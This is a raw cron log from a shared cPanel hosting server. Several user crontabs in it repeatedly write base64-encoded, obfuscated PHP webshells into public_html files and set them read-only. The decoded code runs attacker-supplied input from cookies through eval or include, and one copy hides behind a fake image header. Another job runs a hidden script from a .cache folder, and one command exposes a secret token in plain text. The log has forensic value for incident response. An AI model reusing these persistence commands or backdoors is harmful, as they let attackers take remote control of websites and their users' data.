Mar  1 07:14:01 medusa CROND[16526]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:14:01 medusa CROND[16532]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:14:01 medusa CROND[16533]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:14:01 medusa CROND[16534]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:14:01 medusa CROND[16535]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:14:01 medusa CROND[16538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:14:01 medusa CROND[16539]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:15:01 medusa CROND[20330]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:15:01 medusa CROND[20561]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:15:01 medusa CROND[20574]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:15:01 medusa CROND[20575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:15:01 medusa CROND[20577]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:15:01 medusa CROND[20576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:15:01 medusa CROND[20578]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:15:01 medusa CROND[20579]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:15:01 medusa CROND[20580]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 07:15:01 medusa CROND[20584]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:15:01 medusa CROND[20581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:15:01 medusa CROND[20588]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:15:01 medusa CROND[20587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:15:01 medusa CROND[20592]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:15:01 medusa CROND[20593]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:15:01 medusa CROND[20594]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:15:01 medusa CROND[20598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:15:01 medusa CROND[20602]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:15:01 medusa CROND[20609]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:15:01 medusa CROND[20610]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:15:01 medusa CROND[20583]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:15:01 medusa CROND[20612]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:15:01 medusa CROND[20616]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:16:01 medusa CROND[23824]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:16:01 medusa CROND[23898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:16:01 medusa CROND[23986]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:16:01 medusa CROND[23988]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:16:01 medusa CROND[23987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:16:01 medusa CROND[23990]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:16:01 medusa CROND[23991]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:16:01 medusa CROND[23994]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:16:01 medusa CROND[24000]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:16:01 medusa CROND[24001]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:16:01 medusa CROND[24002]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
